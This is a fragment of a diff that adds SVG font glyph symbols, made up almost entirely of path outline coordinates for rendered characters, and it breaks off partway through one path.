+<path style="stroke:none;" d="M 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.390625 L 2.71875 -9.390625 C 3.28125 -10.066406 4.019531 -10.40625 4.9375 -10.40625 C 5.976562 -10.40625 6.757812 -9.988281 7.28125 -9.15625 C 7.800781 -8.332031 8.0625 -7.03125 8.0625 -5.25 C 8.0625 -3.414062 7.710938 -2.050781 7.015625 -1.15625 C 6.316406 -0.257812 5.332031 0.1875 4.0625 0.1875 C 3.4375 0.1875 2.863281 0.113281 2.34375 -0.03125 C 1.832031 -0.175781 1.453125 -0.34375 1.203125 -0.53125 Z M 2.65625 -1.484375 C 2.851562 -1.378906 3.085938 -1.296875 3.359375 -1.234375 C 3.640625 -1.171875 3.9375 -1.140625 4.25 -1.140625 C 4.957031 -1.140625 5.515625 -1.472656 5.921875 -2.140625 C 6.335938 -2.816406 6.546875 -3.851562 6.546875 -5.25 C 6.546875 -5.832031 6.507812 -6.351562 6.4375 -6.8125 C 6.363281 -7.28125 6.25 -7.679688 6.09375 -8.015625 C 5.9375 -8.359375 5.734375 -8.625 5.484375 -8.8125 C 5.234375 -9 4.929688 -9.09375 4.578125 -9.09375 C 4.085938 -9.09375 3.679688 -8.945312 3.359375 -8.65625 C 3.046875 -8.363281 2.8125 -7.960938 2.65625 -7.453125 Z M 2.65625 -1.484375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-12">
+<path style="stroke:none;" d="M 2.765625 -2.421875 C 2.765625 -1.941406 2.828125 -1.597656 2.953125 -1.390625 C 3.085938 -1.191406 3.269531 -1.09375 3.5 -1.09375 C 3.78125 -1.09375 4.113281 -1.171875 4.5 -1.328125 L 4.640625 -0.140625 C 4.460938 -0.0351562 4.210938 0.046875 3.890625 0.109375 C 3.578125 0.179688 3.289062 0.21875 3.03125 0.21875 C 2.507812 0.21875 2.085938 0.0625 1.765625 -0.25 C 1.453125 -0.570312 1.296875 -1.132812 1.296875 -1.9375 L 1.296875 -14.234375 L 2.765625 -14.234375 Z M 2.765625 -2.421875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-13">
+<path style="stroke:none;" d="M 1.546875 -9.109375 C 1.546875 -9.484375 1.632812 -9.765625 1.8125 -9.953125 C 2 -10.140625 2.25 -10.234375 2.5625 -10.234375 C 2.875 -10.234375 3.117188 -10.140625 3.296875 -9.953125 C 3.484375 -9.765625 3.578125 -9.484375 3.578125 -9.109375 C 3.578125 -8.710938 3.484375 -8.414062 3.296875 -8.21875 C 3.117188 -8.03125 2.875 -7.9375 2.5625 -7.9375 C 2.25 -7.9375 2 -8.03125 1.8125 -8.21875 C 1.632812 -8.414062 1.546875 -8.710938 1.546875 -9.109375 Z M 1.546875 -0.921875 C 1.546875 -1.296875 1.632812 -1.578125 1.8125 -1.765625 C 2 -1.953125 2.25 -2.046875 2.5625 -2.046875 C 2.875 -2.046875 3.117188 -1.953125 3.296875 -1.765625 C 3.484375 -1.578125 3.578125 -1.296875 3.578125 -0.921875 C 3.578125 -0.523438 3.484375 -0.226562 3.296875 -0.03125 C 3.117188 0.15625 2.875 0.25 2.5625 0.25 C 2.25 0.25 2 0.15625 1.8125 -0.03125 C 1.632812 -0.226562 1.546875 -0.523438 1.546875 -0.921875 Z M 1.546875 -0.921875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-14">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph0-15">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.453125 -9.0625 L 2.546875 -9.0625 C 3.046875 -9.957031 3.832031 -10.40625 4.90625 -10.40625 C 5.96875 -10.40625 6.765625 -10.003906 7.296875 -9.203125 C 7.835938 -8.410156 8.109375 -7.101562 8.109375 -5.28125 C 8.109375 -4.425781 8.019531 -3.65625 7.84375 -2.96875 C 7.664062 -2.289062 7.414062 -1.710938 7.09375 -1.234375 C 6.769531 -0.753906 6.375 -0.382812 5.90625 -0.125 C 5.4375 0.125 4.914062 0.25 4.34375 0.25 C 3.957031 0.25 3.644531 0.222656 3.40625 0.171875 C 3.175781 0.128906 2.925781 0.03125 2.65625 -0.125 L 2.65625 4.0625 L 1.203125 4.0625 Z M 2.65625 -1.609375 C 2.851562 -1.441406 3.066406 -1.3125 3.296875 -1.21875 C 3.535156 -1.125 3.851562 -1.078125 4.25 -1.078125 C 4.96875 -1.078125 5.535156 -1.441406 5.953125 -2.171875 C 6.378906 -2.898438 6.59375 -3.945312 6.59375 -5.3125 C 6.59375 -5.875 6.550781 -6.382812 6.46875 -6.84375 C 6.394531 -7.3125 6.273438 -7.707031 6.109375 -8.03125 C 5.953125 -8.363281 5.75 -8.625 5.5 -8.8125 C 5.25 -9 4.941406 -9.09375 4.578125 -9.09375 C 3.585938 -9.09375 2.945312 -8.488281 2.65625 -7.28125 Z M 2.65625 -1.609375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-16">
+<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-17">
+<path style="stroke:none;" d="M 2.515625 -10.15625 L 2.515625 -3.9375 C 2.515625 -2.914062 2.617188 -2.179688 2.828125 -1.734375 C 3.046875 -1.296875 3.429688 -1.078125 3.984375 -1.078125 C 4.265625 -1.078125 4.515625 -1.132812 4.734375 -1.25 C 4.960938 -1.363281 5.164062 -1.515625 5.34375 -1.703125 C 5.519531 -1.890625 5.675781 -2.101562 5.8125 -2.34375 C 5.945312 -2.59375 6.054688 -2.847656 6.140625 -3.109375 L 6.140625 -10.15625 L 7.609375 -10.15625 L 7.609375 -2.890625 C 7.609375 -2.398438 7.625 -1.894531 7.65625 -1.375 C 7.6875 -0.851562 7.738281 -0.394531 7.8125 0 L 6.765625 0 L 6.40625 -1.421875 L 6.34375 -1.421875 C 6.113281 -0.972656 5.78125 -0.582031 5.34375 -0.25 C 4.914062 0.0820312 4.375 0.25 3.71875 0.25 C 3.28125 0.25 2.898438 0.191406 2.578125 0.078125 C 2.253906 -0.0234375 1.976562 -0.21875 1.75 -0.5 C 1.519531 -0.789062 1.347656 -1.179688 1.234375 -1.671875 C 1.117188 -2.171875 1.0625 -2.804688 1.0625 -3.578125 L 1.0625 -10.15625 Z M 2.515625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-18">
+<path style="stroke:none;" d="M 7.609375 0.46875 C 7.609375 1.78125 7.316406 2.75 6.734375 3.375 C 6.148438 4 5.300781 4.3125 4.1875 4.3125 C 3.507812 4.3125 2.953125 4.253906 2.515625 4.140625 C 2.085938 4.023438 1.738281 3.890625 1.46875 3.734375 L 1.890625 2.484375 C 2.160156 2.597656 2.457031 2.707031 2.78125 2.8125 C 3.101562 2.925781 3.503906 2.984375 3.984375 2.984375 C 4.804688 2.984375 5.367188 2.753906 5.671875 2.296875 C 5.984375 1.835938 6.140625 1.066406 6.140625 -0.015625 L 6.140625 -0.765625 L 6.078125 -0.765625 C 5.859375 -0.460938 5.578125 -0.222656 5.234375 -0.046875 C 4.898438 0.128906 4.46875 0.21875 3.9375 0.21875 C 2.84375 0.21875 2.035156 -0.203125 1.515625 -1.046875 C 1.003906 -1.890625 0.75 -3.222656 0.75 -5.046875 C 0.75 -6.785156 1.082031 -8.101562 1.75 -9 C 2.425781 -9.894531 3.421875 -10.34375 4.734375 -10.34375 C 5.367188 -10.34375 5.914062 -10.28125 6.375 -10.15625 C 6.84375 -10.039062 7.253906 -9.898438 7.609375 -9.734375 Z M 6.140625 -8.703125 C 5.734375 -8.921875 5.210938 -9.03125 4.578125 -9.03125 C 3.878906 -9.03125 3.320312 -8.710938 2.90625 -8.078125 C 2.488281 -7.453125 2.28125 -6.445312 2.28125 -5.0625 C 2.28125 -4.488281 2.3125 -3.960938 2.375 -3.484375 C 2.445312 -3.003906 2.5625 -2.582031 2.71875 -2.21875 C 2.882812 -1.863281 3.09375 -1.585938 3.34375 -1.390625 C 3.59375 -1.191406 3.898438 -1.09375 4.265625 -1.09375 C 4.785156 -1.09375 5.191406 -1.226562 5.484375 -1.5 C 5.785156 -1.769531 6.003906 -2.175781 6.140625 -2.71875 Z M 6.140625 -8.703125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-19">
+<path style="stroke:none;" d="M 3.71875 -3.59375 L 4.140625 -1.625 L 4.25 -1.625 L 4.546875 -3.59375 L 6.09375 -10.15625 L 7.578125 -10.15625 L 5.15625 -1.03125 C 4.96875 -0.300781 4.78125 0.378906 4.59375 1.015625 C 4.40625 1.648438 4.195312 2.203125 3.96875 2.671875 C 3.75 3.140625 3.5 3.503906 3.21875 3.765625 C 2.945312 4.035156 2.617188 4.171875 2.234375 4.171875 C 1.859375 4.171875 1.523438 4.109375 1.234375 3.984375 L 1.484375 2.609375 C 1.671875 2.671875 1.859375 2.679688 2.046875 2.640625 C 2.242188 2.597656 2.425781 2.484375 2.59375 2.296875 C 2.757812 2.109375 2.910156 1.828125 3.046875 1.453125 C 3.191406 1.078125 3.320312 0.59375 3.4375 0 L 0.140625 -10.15625 L 1.8125 -10.15625 Z M 3.71875 -3.59375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-20">
+<path style="stroke:none;" d="M 8.734375 -0.546875 C 8.398438 -0.265625 7.972656 -0.0625 7.453125 0.0625 C 6.941406 0.1875 6.398438 0.25 5.828125 0.25 C 5.109375 0.25 4.441406 0.113281 3.828125 -0.15625 C 3.222656 -0.425781 2.703125 -0.859375 2.265625 -1.453125 C 1.828125 -2.046875 1.484375 -2.804688 1.234375 -3.734375 C 0.992188 -4.671875 0.875 -5.796875 0.875 -7.109375 C 0.875 -8.460938 1.007812 -9.609375 1.28125 -10.546875 C 1.5625 -11.484375 1.929688 -12.242188 2.390625 -12.828125 C 2.859375 -13.410156 3.394531 -13.828125 4 -14.078125 C 4.601562 -14.335938 5.222656 -14.46875 5.859375 -14.46875 C 6.503906 -14.46875 7.039062 -14.421875 7.46875 -14.328125 C 7.894531 -14.234375 8.265625 -14.117188 8.578125 -13.984375 L 8.21875 -12.609375 C 7.945312 -12.753906 7.625 -12.867188 7.25 -12.953125 C 6.882812 -13.035156 6.46875 -13.078125 6 -13.078125 C 5.519531 -13.078125 5.070312 -12.96875 4.65625 -12.75 C 4.238281 -12.539062 3.863281 -12.203125 3.53125 -11.734375 C 3.207031 -11.265625 2.953125 -10.648438 2.765625 -9.890625 C 2.578125 -9.140625 2.484375 -8.210938 2.484375 -7.109375 C 2.484375 -5.128906 2.820312 -3.640625 3.5 -2.640625 C 4.175781 -1.648438 5.078125 -1.15625 6.203125 -1.15625 C 6.660156 -1.15625 7.070312 -1.21875 7.4375 -1.34375 C 7.800781 -1.476562 8.113281 -1.632812 8.375 -1.8125 Z M 8.734375 -0.546875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-21">
+<path style="stroke:none;" d="M 0.875 -7.109375 C 0.875 -9.523438 1.257812 -11.351562 2.03125 -12.59375 C 2.800781 -13.84375 3.976562 -14.46875 5.5625 -14.46875 C 6.414062 -14.46875 7.140625 -14.296875 7.734375 -13.953125 C 8.335938 -13.609375 8.820312 -13.117188 9.1875 -12.484375 C 9.5625 -11.847656 9.835938 -11.070312 10.015625 -10.15625 C 10.191406 -9.25 10.28125 -8.234375 10.28125 -7.109375 C 10.28125 -4.703125 9.890625 -2.875 9.109375 -1.625 C 8.335938 -0.375 7.15625 0.25 5.5625 0.25 C 4.726562 0.25 4.007812 0.078125 3.40625 -0.265625 C 2.8125 -0.617188 2.320312 -1.113281 1.9375 -1.75 C 1.5625 -2.382812 1.289062 -3.15625 1.125 -4.0625 C 0.957031 -4.96875 0.875 -5.984375 0.875 -7.109375 Z M 2.484375 -7.109375 C 2.484375 -6.316406 2.539062 -5.5625 2.65625 -4.84375 C 2.769531 -4.125 2.945312 -3.492188 3.1875 -2.953125 C 3.4375 -2.410156 3.753906 -1.972656 4.140625 -1.640625 C 4.535156 -1.316406 5.007812 -1.15625 5.5625 -1.15625 C 6.582031 -1.15625 7.359375 -1.640625 7.890625 -2.609375 C 8.421875 -3.585938 8.6875 -5.085938 8.6875 -7.109375 C 8.6875 -7.898438 8.625 -8.65625 8.5 -9.375 C 8.382812 -10.09375 8.207031 -10.722656 7.96875 -11.265625 C 7.726562 -11.816406 7.410156 -12.253906 7.015625 -12.578125 C 6.617188 -12.910156 6.132812 -13.078125 5.5625 -13.078125 C 4.5625 -13.078125 3.796875 -12.585938 3.265625 -11.609375 C 2.742188 -10.628906 2.484375 -9.128906 2.484375 -7.109375 Z M 2.484375 -7.109375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-22">
+<path style="stroke:none;" d="M 1.46875 -10.15625 L 2.921875 -10.15625 L 2.921875 0.546875 C 2.921875 1.941406 2.695312 2.945312 2.25 3.5625 C 1.800781 4.1875 1.078125 4.421875 0.078125 4.265625 L 0.078125 2.953125 C 0.378906 2.953125 0.617188 2.890625 0.796875 2.765625 C 0.984375 2.640625 1.125 2.453125 1.21875 2.203125 C 1.320312 1.953125 1.390625 1.640625 1.421875 1.265625 C 1.453125 0.898438 1.46875 0.460938 1.46875 -0.046875 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-23">
+<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.734375 -14.207031 2.195312 -14.285156 2.6875 -14.328125 C 3.175781 -14.367188 3.65625 -14.390625 4.125 -14.390625 C 4.664062 -14.390625 5.203125 -14.328125 5.734375 -14.203125 C 6.265625 -14.085938 6.742188 -13.863281 7.171875 -13.53125 C 7.597656 -13.207031 7.941406 -12.757812 8.203125 -12.1875 C 8.460938 -11.625 8.59375 -10.898438 8.59375 -10.015625 C 8.59375 -9.160156 8.46875 -8.4375 8.21875 -7.84375 C 7.96875 -7.25 7.632812 -6.765625 7.21875 -6.390625 C 6.8125 -6.015625 6.335938 -5.742188 5.796875 -5.578125 C 5.265625 -5.410156 4.710938 -5.328125 4.140625 -5.328125 C 4.085938 -5.328125 4 -5.328125 3.875 -5.328125 C 3.757812 -5.328125 3.632812 -5.328125 3.5 -5.328125 C 3.363281 -5.335938 3.226562 -5.347656 3.09375 -5.359375 C 2.96875 -5.378906 2.878906 -5.394531 2.828125 -5.40625 L 2.828125 0 L 1.296875 0 Z M 4.203125 -12.984375 C 3.929688 -12.984375 3.671875 -12.972656 3.421875 -12.953125 C 3.171875 -12.929688 2.972656 -12.90625 2.828125 -12.875 L 2.828125 -6.8125 C 2.878906 -6.78125 2.960938 -6.757812 3.078125 -6.75 C 3.191406 -6.75 3.3125 -6.742188 3.4375 -6.734375 C 3.5625 -6.734375 3.679688 -6.734375 3.796875 -6.734375 C 3.910156 -6.734375 3.992188 -6.734375 4.046875 -6.734375 C 4.421875 -6.734375 4.785156 -6.78125 5.140625 -6.875 C 5.492188 -6.96875 5.804688 -7.140625 6.078125 -7.390625 C 6.347656 -7.640625 6.566406 -7.976562 6.734375 -8.40625 C 6.910156 -8.832031 7 -9.367188 7 -10.015625 C 7 -10.585938 6.921875 -11.0625 6.765625 -11.4375 C 6.609375 -11.820312 6.398438 -12.128906 6.140625 -12.359375 C 5.890625 -12.585938 5.59375 -12.75 5.25 -12.84375 C 4.914062 -12.9375 4.566406 -12.984375 4.203125 -12.984375 Z M 4.203125 -12.984375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-0">
+<path style="stroke:none;" d="M 0.734375 -10.265625 L 10.265625 -10.265625 L 10.265625 0 L 0.734375 0 Z M 8.359375 -9.09375 L 5.5 -5.90625 L 2.640625 -9.09375 L 1.90625 -8.359375 L 4.796875 -5.140625 L 1.90625 -1.90625 L 2.640625 -1.171875 L 5.5 -4.359375 L 8.359375 -1.171875 L 9.09375 -1.90625 L 6.1875 -5.140625 L 9.09375 -8.359375 Z M 1.890625 -0.390625 L 2.015625 -0.390625 L 2.015625 -0.578125 L 2.0625 -0.578125 C 2.125 -0.578125 2.175781 -0.585938 2.21875 -0.609375 C 2.269531 -0.628906 2.296875 -0.675781 2.296875 -0.75 C 2.296875 -0.820312 2.269531 -0.867188 2.21875 -0.890625 C 2.164062 -0.910156 2.109375 -0.921875 2.046875 -0.921875 L 1.890625 -0.921875 Z M 2.0625 -0.84375 C 2.144531 -0.84375 2.1875 -0.816406 2.1875 -0.765625 C 2.1875 -0.710938 2.171875 -0.679688 2.140625 -0.671875 C 2.117188 -0.671875 2.085938 -0.671875 2.046875 -0.671875 L 2.015625 -0.671875 L 2.015625 -0.84375 Z M 2.765625 -0.921875 L 2.3125 -0.921875 L 2.3125 -0.84375 L 2.5 -0.84375 L 2.5 -0.390625 L 2.59375 -0.390625 L 2.59375 -0.84375 L 2.765625 -0.84375 Z M 3.25 -0.546875 C 3.25 -0.503906 3.21875 -0.484375 3.15625 -0.484375 C 3.082031 -0.484375 3.035156 -0.492188 3.015625 -0.515625 L 2.984375 -0.40625 C 2.992188 -0.40625 3.015625 -0.398438 3.046875 -0.390625 C 3.078125 -0.378906 3.117188 -0.375 3.171875 -0.375 C 3.304688 -0.375 3.375 -0.4375 3.375 -0.5625 C 3.375 -0.644531 3.328125 -0.691406 3.234375 -0.703125 C 3.148438 -0.710938 3.109375 -0.742188 3.109375 -0.796875 C 3.109375 -0.828125 3.140625 -0.84375 3.203125 -0.84375 C 3.242188 -0.84375 3.285156 -0.832031 3.328125 -0.8125 L 3.359375 -0.90625 C 3.296875 -0.925781 3.242188 -0.9375 3.203125 -0.9375 C 3.066406 -0.9375 3 -0.882812 3 -0.78125 C 3 -0.726562 3.007812 -0.691406 3.03125 -0.671875 C 3.0625 -0.648438 3.09375 -0.628906 3.125 -0.609375 C 3.15625 -0.597656 3.179688 -0.585938 3.203125 -0.578125 C 3.234375 -0.578125 3.25 -0.566406 3.25 -0.546875 Z M 3.484375 -0.6875 C 3.515625 -0.707031 3.554688 -0.71875 3.609375 -0.71875 C 3.660156 -0.71875 3.6875 -0.695312 3.6875 -0.65625 L 3.6875 -0.625 C 3.675781 -0.625 3.664062 -0.625 3.65625 -0.625 C 3.644531 -0.632812 3.628906 -0.640625 3.609375 -0.640625 C 3.492188 -0.640625 3.4375 -0.59375 3.4375 -0.5 C 3.4375 -0.414062 3.472656 -0.375 3.546875 -0.375 C 3.609375 -0.375 3.65625 -0.398438 3.6875 -0.453125 L 3.71875 -0.390625 L 3.796875 -0.390625 C 3.785156 -0.410156 3.78125 -0.445312 3.78125 -0.5 L 3.78125 -0.65625 C 3.78125 -0.757812 3.734375 -0.8125 3.640625 -0.8125 C 3.597656 -0.8125 3.5625 -0.804688 3.53125 -0.796875 C 3.5 -0.785156 3.472656 -0.773438 3.453125 -0.765625 Z M 3.59375 -0.46875 C 3.550781 -0.46875 3.53125 -0.488281 3.53125 -0.53125 C 3.53125 -0.570312 3.554688 -0.59375 3.609375 -0.59375 C 3.628906 -0.59375 3.644531 -0.585938 3.65625 -0.578125 C 3.664062 -0.578125 3.675781 -0.578125 3.6875 -0.578125 L 3.6875 -0.53125 C 3.664062 -0.488281 3.632812 -0.46875 3.59375 -0.46875 Z M 4.28125 -0.390625 L 4.28125 -0.625 C 4.28125 -0.75 4.238281 -0.8125 4.15625 -0.8125 C 4.082031 -0.8125 4.03125 -0.785156 4 -0.734375 L 3.96875 -0.796875 L 3.90625 -0.796875 L 3.90625 -0.390625 L 4 -0.390625 L 4 -0.640625 C 4.019531 -0.679688 4.050781 -0.703125 4.09375 -0.703125 C 4.144531 -0.703125 4.171875 -0.671875 4.171875 -0.609375 L 4.171875 -0.390625 Z M 4.359375 -0.40625 C 4.398438 -0.382812 4.445312 -0.375 4.5 -0.375 C 4.613281 -0.375 4.671875 -0.421875 4.671875 -0.515625 C 4.671875 -0.566406 4.65625 -0.59375 4.625 -0.59375 C 4.601562 -0.601562 4.578125 -0.617188 4.546875 -0.640625 C 4.492188 -0.660156 4.46875 -0.675781 4.46875 -0.6875 C 4.46875 -0.707031 4.484375 -0.71875 4.515625 -0.71875 C 4.554688 -0.71875 4.597656 -0.707031 4.640625 -0.6875 L 4.671875 -0.78125 C 4.628906 -0.800781 4.578125 -0.8125 4.515625 -0.8125 C 4.421875 -0.8125 4.375 -0.765625 4.375 -0.671875 C 4.375 -0.617188 4.382812 -0.585938 4.40625 -0.578125 C 4.4375 -0.566406 4.460938 -0.554688 4.484375 -0.546875 C 4.535156 -0.546875 4.5625 -0.53125 4.5625 -0.5 C 4.5625 -0.476562 4.546875 -0.46875 4.515625 -0.46875 C 4.472656 -0.46875 4.429688 -0.476562 4.390625 -0.5 Z M 4.953125 -0.609375 C 4.953125 -0.410156 5.050781 -0.3125 5.25 -0.3125 C 5.445312 -0.3125 5.546875 -0.410156 5.546875 -0.609375 C 5.546875 -0.804688 5.445312 -0.90625 5.25 -0.90625 C 5.175781 -0.90625 5.109375 -0.878906 5.046875 -0.828125 C 4.984375 -0.773438 4.953125 -0.703125 4.953125 -0.609375 Z M 5.046875 -0.609375 C 5.046875 -0.765625 5.113281 -0.84375 5.25 -0.84375 C 5.382812 -0.84375 5.453125 -0.765625 5.453125 -0.609375 C 5.453125 -0.460938 5.382812 -0.390625 5.25 -0.390625 C 5.113281 -0.390625 5.046875 -0.460938 5.046875 -0.609375 Z M 5.34375 -0.5625 C 5.320312 -0.550781 5.300781 -0.546875 5.28125 -0.546875 C 5.238281 -0.546875 5.21875 -0.566406 5.21875 -0.609375 C 5.21875 -0.648438 5.238281 -0.671875 5.28125 -0.671875 L 5.328125 -0.671875 L 5.359375 -0.734375 C 5.316406 -0.753906 5.28125 -0.765625 5.25 -0.765625 C 5.164062 -0.765625 5.125 -0.710938 5.125 -0.609375 C 5.125 -0.503906 5.164062 -0.453125 5.25 -0.453125 C 5.300781 -0.453125 5.335938 -0.460938 5.359375 -0.484375 Z M 5.859375 -0.390625 L 5.96875 -0.390625 L 5.96875 -0.578125 L 6.03125 -0.578125 C 6.09375 -0.578125 6.144531 -0.585938 6.1875 -0.609375 C 6.238281 -0.628906 6.265625 -0.675781 6.265625 -0.75 C 6.265625 -0.820312 6.238281 -0.867188 6.1875 -0.890625 C 6.132812 -0.910156 6.078125 -0.921875 6.015625 -0.921875 L 5.859375 -0.921875 Z M 6.03125 -0.84375 C 6.101562 -0.84375 6.140625 -0.816406 6.140625 -0.765625 C 6.140625 -0.710938 6.128906 -0.679688 6.109375 -0.671875 C 6.085938 -0.671875 6.054688 -0.671875 6.015625 -0.671875 L 5.96875 -0.671875 L 5.96875 -0.84375 Z M 6.34375 -0.6875 C 6.375 -0.707031 6.414062 -0.71875 6.46875 -0.71875 C 6.519531 -0.71875 6.546875 -0.695312 6.546875 -0.65625 L 6.546875 -0.625 C 6.535156 -0.625 6.523438 -0.625 6.515625 -0.625 C 6.503906 -0.632812 6.488281 -0.640625 6.46875 -0.640625 C 6.34375 -0.640625 6.28125 -0.59375 6.28125 -0.5 C 6.28125 -0.414062 6.320312 -0.375 6.40625 -0.375 C 6.46875 -0.375 6.515625 -0.398438 6.546875 -0.453125 L 6.578125 -0.390625 L 6.65625 -0.390625 C 6.644531 -0.410156 6.640625 -0.445312 6.640625 -0.5 L 6.640625 -0.65625 C 6.640625 -0.757812 6.59375 -0.8125 6.5 -0.8125 C 6.457031 -0.8125 6.421875 -0.804688 6.390625 -0.796875 C 6.359375 -0.785156 6.332031 -0.773438 6.3125 -0.765625 Z M 6.453125 -0.46875 C 6.410156 -0.46875 6.390625 -0.488281 6.390625 -0.53125 C 6.390625 -0.570312 6.414062 -0.59375 6.46875 -0.59375 C 6.488281 -0.59375 6.503906 -0.585938 6.515625 -0.578125 C 6.523438 -0.578125 6.535156 -0.578125 6.546875 -0.578125 L 6.546875 -0.53125 C 6.523438 -0.488281 6.492188 -0.46875 6.453125 -0.46875 Z M 7.015625 -0.796875 C 7.003906 -0.804688 6.984375 -0.8125 6.953125 -0.8125 C 6.910156 -0.8125 6.878906 -0.785156 6.859375 -0.734375 L 6.84375 -0.796875 L 6.75 -0.796875 L 6.75 -0.390625 L 6.859375 -0.390625 L 6.859375 -0.640625 C 6.859375 -0.679688 6.890625 -0.703125 6.953125 -0.703125 L 6.96875 -0.703125 C 6.976562 -0.703125 6.984375 -0.695312 6.984375 -0.6875 C 6.984375 -0.6875 6.988281 -0.6875 7 -0.6875 Z M 7.09375 -0.6875 C 7.144531 -0.707031 7.1875 -0.71875 7.21875 -0.71875 C 7.269531 -0.71875 7.296875 -0.695312 7.296875 -0.65625 L 7.296875 -0.625 C 7.285156 -0.625 7.273438 -0.625 7.265625 -0.625 C 7.253906 -0.632812 7.238281 -0.640625 7.21875 -0.640625 C 7.09375 -0.640625 7.03125 -0.59375 7.03125 -0.5 C 7.03125 -0.414062 7.070312 -0.375 7.15625 -0.375 C 7.226562 -0.375 7.273438 -0.398438 7.296875 -0.453125 L 7.3125 -0.453125 L 7.328125 -0.390625 L 7.40625 -0.390625 C 7.394531 -0.410156 7.390625 -0.445312 7.390625 -0.5 L 7.390625 -0.65625 C 7.390625 -0.757812 7.34375 -0.8125 7.25 -0.8125 C 7.207031 -0.8125 7.171875 -0.804688 7.140625 -0.796875 C 7.109375 -0.785156 7.085938 -0.773438 7.078125 -0.765625 Z M 7.203125 -0.46875 C 7.160156 -0.46875 7.140625 -0.488281 7.140625 -0.53125 C 7.140625 -0.570312 7.164062 -0.59375 7.21875 -0.59375 C 7.238281 -0.59375 7.253906 -0.585938 7.265625 -0.578125 C 7.273438 -0.578125 7.285156 -0.578125 7.296875 -0.578125 L 7.296875 -0.53125 C 7.273438 -0.488281 7.242188 -0.46875 7.203125 -0.46875 Z M 7.8125 -0.921875 L 7.359375 -0.921875 L 7.359375 -0.84375 L 7.53125 -0.84375 L 7.53125 -0.390625 L 7.640625 -0.390625 L 7.640625 -0.84375 L 7.8125 -0.84375 Z M 7.9375 -0.796875 L 7.8125 -0.796875 L 8 -0.390625 C 7.988281 -0.347656 7.960938 -0.328125 7.921875 -0.328125 L 7.90625 -0.34375 L 7.875 -0.25 C 7.894531 -0.238281 7.921875 -0.234375 7.953125 -0.234375 C 8.003906 -0.234375 8.050781 -0.296875 8.09375 -0.421875 L 8.25 -0.796875 L 8.125 -0.796875 L 8.0625 -0.578125 L 8.0625 -0.5 L 8.046875 -0.5 L 8.03125 -0.578125 Z M 8.296875 -0.234375 L 8.40625 -0.234375 L 8.40625 -0.40625 C 8.414062 -0.382812 8.441406 -0.375 8.484375 -0.375 C 8.617188 -0.375 8.6875 -0.445312 8.6875 -0.59375 C 8.6875 -0.738281 8.632812 -0.8125 8.53125 -0.8125 C 8.476562 -0.8125 8.429688 -0.789062 8.390625 -0.75 L 8.375 -0.75 L 8.359375 -0.796875 L 8.296875 -0.796875 Z M 8.5 -0.71875 C 8.539062 -0.71875 8.5625 -0.675781 8.5625 -0.59375 C 8.5625 -0.507812 8.53125 -0.46875 8.46875 -0.46875 C 8.445312 -0.46875 8.425781 -0.476562 8.40625 -0.5 L 8.40625 -0.640625 C 8.40625 -0.691406 8.4375 -0.71875 8.5 -0.71875 Z M 9.0625 -0.5 C 9.039062 -0.476562 9.007812 -0.46875 8.96875 -0.46875 C 8.894531 -0.46875 8.851562 -0.5 8.84375 -0.5625 L 9.125 -0.5625 L 9.125 -0.640625 C 9.125 -0.703125 9.101562 -0.742188 9.0625 -0.765625 C 9.03125 -0.796875 8.992188 -0.8125 8.953125 -0.8125 C 8.816406 -0.8125 8.75 -0.738281 8.75 -0.59375 C 8.75 -0.445312 8.816406 -0.375 8.953125 -0.375 C 8.984375 -0.375 9.007812 -0.378906 9.03125 -0.390625 C 9.0625 -0.398438 9.085938 -0.410156 9.109375 -0.421875 Z M 8.953125 -0.71875 C 9.003906 -0.71875 9.023438 -0.6875 